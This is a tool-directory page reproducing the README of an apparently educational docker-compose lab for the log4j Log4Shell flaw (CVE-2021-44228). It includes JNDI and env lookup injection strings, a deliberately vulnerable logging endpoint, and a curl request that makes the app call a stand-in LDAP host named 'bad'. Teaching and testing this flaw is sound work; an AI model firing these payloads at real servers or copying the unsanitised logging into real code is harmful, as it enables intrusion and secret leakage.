Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4j-cve-2021-44228-sample — Sample docker-compose setup to show how this exploit works | Kitploit
Tools/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

Sample docker-compose setup to show how this exploit works

View Repository
284 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Example of log4j exploit

This repo has a working sample of abusing the recent log4j exploit. It does not perform actual remote code execution, but shows you the ease at which a bad actor can have a vulnerable application call out to its own ldap server.

This uses the excellent log4j sample vulnerable app created christophetd: https://github.com/christophetd/log4shell-vulnerable-app

Explanation

This vulnerability abuses the lookup functionality of log4j, specially the jndi which allows log4j to perform lookups from external hosts for data to input. This can be exploited to do anything from logging sensitive variables in the environment to executing code remotely.

Lookups are done for any text wrapped in ${} when the logger is called. For example,

${jndi:ldap://someldapserver:1389/o=example}

would do a lookup on that LDAP server with the given query and output the result.

A more simple example that doesnt make use of jndi, but is still dangerous:

${env:PASSWORD}

This would print the contents of that environment variable into logs. Someone then with access to view those logs could extract sensitive data from the application.

log4j Code

The code in log4j for this exploit to be abused is pretty straightforward. You just need to call the logger to log a given request property unsanitized. For example, you could log the contents of a User-Agent.

...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

Using this example

First, build the local ldap server:

docker build -t ldapnode .

Once built, bring up the whole stack by running

docker-compose up

Then, you can perform a request to the app, using the x-api-version header to inject the lookup

curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

Using that request, you will see in the docker-compose logs, the ldap server will have been called:

bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

What to do if you are impacted

Please see this documentation for resolution paths

Download Tool